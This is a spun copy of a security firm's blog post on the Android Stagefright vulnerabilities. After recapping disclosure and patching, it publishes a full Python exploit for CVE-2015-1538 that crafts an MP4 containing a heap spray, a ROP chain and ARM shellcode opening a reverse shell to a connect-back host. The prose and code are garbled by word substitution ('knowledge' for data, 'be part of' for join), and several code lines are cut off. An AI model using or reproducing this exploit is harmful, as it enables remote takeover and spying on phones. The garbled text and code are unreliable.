Greater than a month has handed since Zimperium first broke the information of zLabs’ VP of Platform Analysis and Exploitation Joshua J. Drake’s discovery of a number of vital vulnerabilities in Android’s media library – libstagefright. In that time-frame, the quantity and significance of the occasions which have unfolded is nothing in need of wonderful. Again in April and Could we reported two units of vulnerabilities to Google, each together with a number of with vital severity. In July, we introduced our intentions to publish our exploit on August fifth throughout Black Hat USA. After discussions with ZHA Companions, together with each carriers and machine producers, we agreed to postpone the discharge of the exploit till August twenty fourth. A number of researchers have publicly mentioned their very own working exploits focusing on vulnerabilities inside libstagefright. Earlier than we dive into our exploit, let’s recap the important thing occasions that unfolded since our latest announcement.
- Black Hat Slides and Video Accessible
We made Joshua’s presentation slides obtainable shortly after Black Hat and DEF CON. Later, the Black Hat organizers made the total video obtainable on YouTube. Please evaluation these supplies to study extra about Joshua’s analysis straight from the supply.
- Unassisted Distant Assault Vector Addressed
Google launched new variations of Hangouts and Messenger to dam automated processing of multimedia recordsdata arriving by way of MMS. We’ve examined these up to date variations and are comfortable to verify they forestall unassisted distant exploitation. Nonetheless, this assault vector constituted solely the worst of greater than 10 other ways (browsers, immediate messengers, and so forth) probably malicious media is processed by the Stagefright library. With these different vectors nonetheless current, the significance of fixing points inside the code base stays very excessive.
- Extra Vulnerabilities Reported
We anticipated different researchers to discover the vulnerabilities we disclosed and uncover extra vulnerabilities within the Stagefright library over time. That mentioned, we didn’t anticipate the unbelievable stage of response from the neighborhood. We applaud the efforts of myriad researchers that flocked to audit the Android code base and collectively found and reported quite a few extra points.
- Replace Modifications and Standing
Probably the most constructive factor about our Stagefright analysis is waking the ecosystem and getting machine distributors and carriers to comprehend they need to distribute updates extra rapidly and extra typically. Business main distributors clearly acknowledged that they intend to supply safety updates on a month-to-month foundation. Now that we face extra vulnerabilities, we’ll see for ourselves if our units get these updates or not. Within the meantime, updates addressing the preliminary set of points we disclosed proceed to roll out to affected units.
- Extra Replace is Required
Shortly after the occasions in Las Vegas, researchers from Exodus Intelligence found an issue with one of many patches Joshua provided. Google rapidly analyzed this difficulty, assigned CVE-2015-3864, and pushed a repair to AOSP. We anticipate the repair to be included within the subsequent spherical of official updates. In actual fact, our Stagefright Detector app knowledge reveals that some units have obtained an replace for this difficulty already. Regardless, we really feel this difficulty represents a major danger to the ecosystem and thus must be addressed sooner reasonably than later.
With a purpose to finest serve the cell ecosystem, we created the Stagefright Detector app to detect in case your machine is weak to the vulnerabilities found in libstagefright. After CVE-2015-3864 was publicly disclosed, we added it to the set of vulnerabilities examined within the app. Since then, now we have been working instantly with Google to port the app’s detection logic into Android’s Compatibility Take a look at Suite (CTS). This implies future variations of Android for all “Android Suitable” units should have these points fastened earlier than they will ship.
Zimperium’s z9 enterprise prospects, have the potential to detect assaults exploiting Stagefright vulnerabilities. Two demo movies are referenced under: one exhibiting a profitable assault, and one other exhibiting the assault being detected.
- Researchers are Engaged on their Exploits
On August twenty fifth, we found a researcher’s put up on Twitter about his impartial implementation of an exploit towards libstagefright. His put up reveals his exploit works towards Android 5.0 operating within the emulator. That is according to data {that a} scholar and impartial researcher posted on Twitter stating he had managed to bypass ASLR utilizing an data leakage vulnerability in Stagefright. Within the occasion extra public exploits floor, please train warning earlier than operating them, as they might include backdoors.
- Releasing Our Exploit for Testing Functions
Throughout the months of June and July, Joshua J. Drake developed a working exploit to show the Stagefright vulnerability can permit Distant Code Execution (RCE) with out consumer interplay. We’re happy to lastly make this code obtainable to most people in order that safety groups, directors, and penetration testers alike could take a look at whether or not or not methods stay weak.
What follows is a python script that generates an MP4 exploiting the ‘stsc’ vulnerability in any other case often called CVE-2015-1538 (#1). This is without doubt one of the most important vulnerabilities we reported within the Stagefright library. The anticipated results of the exploit is a reverse shell because the media consumer. As detailed in Joshua Drake’s Black Hat and DEFCON shows, this consumer has entry to fairly a couple of teams comparable to inet, audio, digital camera, and mediadrm. These teams permit an attacker to take footage or hearken to the microphone remotely with out exploiting extra vulnerabilities.
This exploit has a number of caveats. First, it isn’t a generic exploit. We solely examined it to work on a single machine mannequin. We examined this exploit on a Nexus operating Android 4.0.4. Additionally, attributable to variances in heap format, this isn’t a 100% dependable exploit by itself. We have been ready obtain 100% reliability when delivered by an assault vector that allowed a number of makes an attempt. Lastly, this vulnerability was one among a number of that was neutered by GCC 5.0’s ‘new[]’ integer overflow mitigation current on Android 5.0 and later.
Stagefright_CVE-2015-1538-1_Exploit.py (uncooked file)
#!/usr/bin/env python
# Joshua J. Drake (@jduck) of ZIMPERIUM zLabs
# Shout outs to our pals at Optiv (previously Accuvant Labs)
# (C) Joshua J. Drake, ZIMPERIUM Inc, Cell Menace Safety, 2015
# www.zimperium.com
#
# Exploit for RCE Vulnerability CVE-2015-1538 #1
# Integer Overflow within the libstagefright MP4 ‘stsc’ atom dealing with
#
# Don’t overlook, the output of “create_mp4” will be delivered some ways!
# MMS is essentially the most harmful assault vector, however not the one one…
#
# DISCLAIMER: This exploit is for testing and academic functions solely. Any
# different utilization for this code is just not allowed. Use at your personal danger.
#
# “With nice energy comes nice accountability.” – Uncle Ben
#
import struct
import socket
#
# Creates a single MP4 atom – LEN, TAG, DATA
#
def make_chunk(tag, knowledge):
if len(tag) != 4:
increase ‘Yo! They name it “FourCC” for a cause.’
ret = struct.pack(‘>L’, len(knowledge) + 8)
ret += tag
ret += knowledge
return ret
#
# Make an ‘stco’ atom – Pattern Desk Chunk Offets
#
def make_stco(further=”):
ret = struct.pack(‘>L’, 0) # model
ret += struct.pack(‘>L’, 0) # mNumChunkOffsets
return make_chunk(‘stco’, ret+further)
#
# Make an ‘stsz’ atom – Pattern Desk Measurement
#
def make_stsz(further=”):
ret = struct.pack(‘>L’, 0) # model
ret += struct.pack(‘>L’, 0) # mDefaultSampleSize
ret += struct.pack(‘>L’, 0) # mNumSampleSizes
return make_chunk(‘stsz’, ret+further)
#
# Make an ‘stts’ atom – Pattern Desk Time-to-Pattern
#
def make_stts():
ret = struct.pack(‘>L’, 0) # model
ret += struct.pack(‘>L’, 0) # mTimeToSampleCount
return make_chunk(‘stts’, ret)
#
# This creates a single Pattern Desk Pattern-to-Chunk entry
#
def make_stsc_entry(begin, per, desc):
ret = ”
ret += struct.pack(‘>L’, begin + 1)
ret += struct.pack(‘>L’, per)
ret += struct.pack(‘>L’, desc)
return ret
#
# Make an ‘stsc’ chunk – Pattern Desk Pattern-to-Chunk
#
# If the caller needs, we are going to try to set off (CVE-2015-1538 #1) and
# trigger a heap overflow.
#
def make_stsc(num_alloc, num_write, sp_addr=0x42424242, do_overflow = False):
ret = struct.pack(‘>L’, 0) # model/flags
# that is the clear model…
if not do_overflow:
ret += struct.pack(‘>L’, num_alloc) # mNumSampleToChunkOffsets
ret += ‘Z’ * (12 * num_alloc)
return make_chunk(‘stsc’, ret)
# now the specific model. (set off the bug)
ret += struct.pack(‘>L’, 0xc0000000 + num_alloc) # mNumSampleToChunkOffsets
# fill within the entries that may overflow the buffer
for x in vary(0, num_write):
ret += make_stsc_entry(sp_addr, sp_addr, sp_addr)
ret = make_chunk(‘stsc’, ret)
# patch the data_size
ret = struct.pack(‘>L’, 8 + 8 + (num_alloc * 12)) + ret[4:]
return ret
#
# Construct the ROP chain
#
# ROP pivot by Georg Wicherski! Thanks!
#
“””
(gdb) x/10i __dl_restore_core_regs
0xb0002850 <__dl_restore_core_regs>: add r1, r0, #52 ; 0x34
0xb0002854 <__dl_restore_core_regs+4>: ldm r1, {r3, r4, r5}
0xb0002858 <__dl_restore_core_regs+8>: push {r3, r4, r5}
0xb000285c <__dl_restore_core_regs+12>: ldm r0, {r0, r1, r2, r3, r4, r5, r6, r7, r8, r9, r10, r11}
0xb0002860 <__dl_restore_core_regs+16>: ldm sp, {sp, lr, laptop}
“””
“””
b0001144 <__dl_mprotect>:
b0001144: e92d0090 push {r4, r7}
b0001148: e3a0707d mov r7, #125 ; 0x7d
b000114c: ef000000 svc 0x00000000
b0001150: e8bd0090 pop {r4, r7}
b0001154: e1b00000 movs r0, r0
b0001158: 512fff1e bxpl lr
b000115c: ea0015cc b b0006894 <__dl_raise+0x10>
“””
def build_rop(off, sp_addr, newpc_val, cb_host, cb_port):
rop = ”
rop += struct.pack(‘
rop += struct.pack(‘
native_start = sp_addr + 0x80
rop += struct.pack(‘
buf = ”
# fork
buf += ‘x02x70xa0xe3’
buf += ‘x00x00x00xef’
# proceed if not mother or father…
buf += ‘x00x00x50xe3’
buf += ‘x02x00x00x0a’
# exit mother or father
buf += ‘x00x00xa0xe3’
buf += ‘x01x70xa0xe3’
buf += ‘x00x00x00xef’
# setsid in baby
buf += ‘x42x70xa0xe3’
buf += ‘x00x00x00xef’
# socket/join/dup2/dup2/dup2
buf += ‘x02x00xa0xe3x01x10xa0xe3x05x20x81xe2x8c’
buf += ‘x70xa0xe3x8dx70x87xe2x00x00x00xefx00x60’
buf += ‘xa0xe1x6cx10x8fxe2x10x20xa0xe3x8dx70xa0’
buf += ‘xe3x8ex70x87xe2x00x00x00xefx06x00xa0xe1’
buf += ‘x00x10xa0xe3x3fx70xa0xe3x00x00x00xefx06’
buf += ‘x00xa0xe1x01x10xa0xe3x3fx70xa0xe3x00x00’
buf += ‘x00xefx06x00xa0xe1x02x10xa0xe3x3fx70xa0’
buf += ‘xe3x00x00x00xef’
# execve(shell, argv, env)
buf += ‘x30x00x8fxe2x04x40x24xe0’
buf += ‘x10x00x2dxe9x38x30x8fxe2x08x00x2dxe9x0d’
buf += ‘x20xa0xe1x10x00x2dxe9x24x40x8fxe2x10x00’
buf += ‘x2dxe9x0dx10xa0xe1x0bx70xa0xe3x00x00x00’
buf += ‘xefx02x00’
# Add the join again host/port
buf += struct.pack(‘!H’, cb_port)
cb_host = socket.inet_aton(cb_host)
buf += struct.pack(‘=4s’, cb_host)
# shell –
buf += ‘/system/bin/shx00x00’
# argv –
buf += ‘shx00x00’
# env –
buf += ‘PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbinx00’
# Add some identifiable stuff, simply in case one thing goes awry…
rop_start_off = 0x34
x = rop_start_off + len(rop)
whereas len(rop) < 0x80 – rop_start_off:
rop += struct.pack(‘
# Add the native payload…
rop += buf
return rop
#
# Construct an mp4 that exploits CVE-2015-1538 #1
#
# We mimic meow.3gp right here…
#
def create_mp4(sp_addr, newpc_val, cb_host, cb_port):
chunks = []
# Construct the MP4 header…
ftyp = ‘mp42’
ftyp += struct.pack(‘>L’, 0)
ftyp += ‘mp42’
ftyp += ‘isom’
chunks.append(make_chunk(‘ftyp’, ftyp))
# Be aware, this causes a couple of allocations…
moov_data = ”
moov_data += make_chunk(‘mvhd’,
struct.pack(‘>LL’, 0, 0x41414141) +
(‘B’ * 0x5c) )
# Add a minimal, verified trak to fulfill mLastTrack being set
moov_data += make_chunk(‘trak’,
make_chunk(‘stbl’,
make_stsc(0x28, 0x28) +
make_stco() +
make_stsz() +
make_stts() ))
# Spray the heap utilizing a big tx3g chunk (can include binary knowledge!)
“””
0x4007004e <_ZNK7android7RefBase9decStrongEPKv+2>: ldr r4, [r0, #4] ; load mRefs
0x40070050 <_ZNK7android7RefBase9decStrongEPKv+4>: mov r5, r0
0x40070052 <_ZNK7android7RefBase9decStrongEPKv+6>: mov r6, r1
0x40070054 <_ZNK7android7RefBase9decStrongEPKv+8>: mov r0, r4
0x40070056 <_ZNK7android7RefBase9decStrongEPKv+10>: blx 0x40069884 ; atomic_decrement
0x4007005a <_ZNK7android7RefBase9decStrongEPKv+14>: cmp r0, #1 ; have to be 1
0x4007005c <_ZNK7android7RefBase9decStrongEPKv+16>: bne.n 0x40070076 <_ZNK7android7RefBase9decStrongEPKv+42>
0x4007005e <_ZNK7android7RefBase9decStrongEPKv+18>: ldr r0, [r4, #8] ; load refs->mBase
0x40070060 <_ZNK7android7RefBase9decStrongEPKv+20>: ldr r1, [r0, #0] ; load mBase._vptr
0x40070062 <_ZNK7android7RefBase9decStrongEPKv+22>: ldr r2, [r1, #12] ; load methodology tackle
0x40070064 <_ZNK7android7RefBase9decStrongEPKv+24>: mov r1, r6
0x40070066 <_ZNK7android7RefBase9decStrongEPKv+26>: blx r2 ; name it!
“””
web page = ”
off = 0 # the offset to the subsequent object
off += 8
web page += struct.pack(‘
web page += struct.pack(‘
web page += struct.pack(‘
web page += struct.pack(‘
x = len(web page)
whereas len(web page) < 4096:
web page += struct.pack(‘
off = 0x34
web page = web page[:off] + rop + web page[off+len(rop):]
spray = web page * (((2*1024*1024) / len(web page)) – 20)
moov_data += make_chunk(‘tx3g’, spray)
block = ‘A’ * 0x1c
larger = ‘B’ * 0x40
udta = make_chunk(‘udta’,
make_chunk(‘meta’,
struct.pack(‘>L’, 0) +
make_chunk(‘ilst’,
make_chunk(‘cpil’, make_chunk(‘knowledge’, struct.pack(‘>LL’, 21, 0) + ‘A’)) +
make_chunk(‘trkn’, make_chunk(‘knowledge’, struct.pack(‘>LL’, 0, 0) + ‘AAAABBBB’)) +
make_chunk(‘disk’, make_chunk(‘knowledge’, struct.pack(‘>LL’, 0, 0) + ‘AAAABB’)) +
make_chunk(‘covr’, make_chunk(‘knowledge’, struct.pack(‘>LL’, 0, 0) + block)) * 32 +
make_chunk(‘xa9alb’, make_chunk(‘knowledge’, struct.pack(‘>LL’, 0, 0) + block)) +
make_chunk(‘xa9ART’, make_chunk(‘knowledge’, struct.pack(‘>LL’, 0, 0) + block)) +
make_chunk(‘aART’, make_chunk(‘knowledge’, struct.pack(‘>LL’, 0, 0) + block)) +
make_chunk(‘xa9day’, make_chunk(‘knowledge’, struct.pack(‘>LL’, 0, 0) + block)) +
make_chunk(‘xa9nam’, make_chunk(‘knowledge’, struct.pack(‘>LL’, 0, 0) + block)) +
make_chunk(‘xa9wrt’, make_chunk(‘knowledge’, struct.pack(‘>LL’, 0, 0) + block)) +
make_chunk(‘gnre’, make_chunk(‘knowledge’, struct.pack(‘>LL’, 1, 0) + block)) +
make_chunk(‘covr’, make_chunk(‘knowledge’, struct.pack(‘>LL’, 0, 0) + block)) * 32 +
make_chunk(‘xa9ART’, make_chunk(‘knowledge’, struct.pack(‘>LL’, 0, 0) + larger)) +
make_chunk(‘xa9wrt’, make_chunk(‘knowledge’, struct.pack(‘>LL’, 0, 0) + larger)) +
make_chunk(‘xa9day’, make_chunk(‘knowledge’, struct.pack(‘>LL’, 0, 0) + larger)))
)
)
moov_data += udta
# Make the nasty trak
tkhd1 = ”.be part of([
‘x00’, # version
‘D’ * 3, # padding
‘E’ * (5*4), # {c,m}time, id, ??, duration
‘F’ * 0x10, # ??
struct.pack(‘>LLLLLL’,
0x10000, # a00
0, # a01
0, # dx
0, # a10
0x10000, # a11
0), # dy
‘G’ * 0x14
])
trak1 = ”
trak1 += make_chunk(‘tkhd’, tkhd1)
mdhd1 = ”.be part of([
‘x00’, # version
‘D’ * 0x17, # padding
])
mdia1 = ”
mdia1 += make_chunk(‘mdhd’, mdhd1)
mdia1 += make_chunk(‘hdlr’, ‘F’ * 0x3a)
dinf1 = ”
dinf1 += make_chunk(‘dref’, ‘H’ * 0x14)
minf1 = ”
minf1 += make_chunk(‘smhd’, ‘G’ * 0x08)
minf1 += make_chunk(‘dinf’, dinf1)
# Construct the nasty pattern desk to set off the vulnerability right here.
stbl1 = make_stsc(3, (0x1200 / 0xc) – 1, sp_addr, True) # TRIGGER
# Add the stbl to the minf chunk
minf1 += make_chunk(‘stbl’, stbl1)
# Add the minf to the mdia chunk
mdia1 += make_chunk(‘minf’, minf1)
# Add the mdia to the observe
trak1 += make_chunk(‘mdia’, mdia1)
# Add the nasty observe to the moov knowledge
moov_data += make_chunk(‘trak’, trak1)
# Finalize the moov chunk
moov = make_chunk(‘moov’, moov_data)
chunks.append(moov)
# Mix outer chunks collectively and voila.
knowledge = ”.be part of(chunks)
return knowledge
if __name__ == ‘__main__’:
import sys
import mp4
import argparse
def write_file(path, content material):
with open(path, ‘wb’) as f:
f.write(content material)
def addr(sval):
if sval.startswith(‘0x’):
return int(sval, 16)
return int(sval)
# The tackle of a pretend StrongPointer object (sprayed)
sp_addr = 0x41d00010 # takju @ imm76i – 2MB (by way of hangouts)
# The tackle to of our ROP pivot
newpc_val = 0xb0002850 # level sp at __dl_restore_core_regs
# Permit the consumer to override parameters
parser = argparse.ArgumentParser()
parser.add_argument(‘-c’, ‘–connectback-host’, dest=’cbhost’, default=’31.3.3.7′)
parser.add_argument(‘-p’, ‘–connectback-port’, dest=’cbport’, kind=int, default=12345)
parser.add_argument(‘-s’, ‘–spray-address’, dest=’spray_addr’, kind=addr, default=None)
parser.add_argument(‘-r’, ‘–rop-pivot’, dest=’rop_pivot’, kind=addr, default=None)
parser.add_argument(‘-o’, ‘–output-file’, dest=’output_file’, default=’cve-2015-1538-1.mp4′)
args = parser.parse_args()
if len(sys.argv) == 1:
parser.print_help()
sys.exit(-1)
if args.spray_addr == None:
args.spray_addr = sp_addr
if args.rop_pivot == None:
args.rop_pivot = newpc_val
# Construct the MP4 file…
knowledge = mp4.create_mp4(args.spray_addr, args.rop_pivot, args.cbhost, args.cbport)
print(‘[*] Saving crafted MP4 to %s …’ % args.output_file)
write_file(args.output_file, knowledge)
Acknowledgements
We wish to thank Google, Samsung, LG, Motorola, Sony, HTC in addition to different distributors and companions of ZHA for his or her cooperation prioritizing vulnerabilities within the Stagefright library of their updates:
- CVE-2015-1538
- CVE-2015-1538 #1
- CVE-2015-1538 #2
- CVE-2015-1538 #3
- CVE-2015-1538 #4
- CVE-2015-1539
- CVE-2015-3824
- CVE-2015-3826
- CVE-2015-3827
- CVE-2015-3828
- CVE-2015-3829
- CVE-2015-3864
We encourage distributors who nonetheless didn’t present complete machine updates to deal with Stagefright points to take action ASAP.
References
Yow will discover extra data on our work relating to vulnerabilities within the Stagefright library under:
Posts
Movies
Observe us on Twitter for extra updates.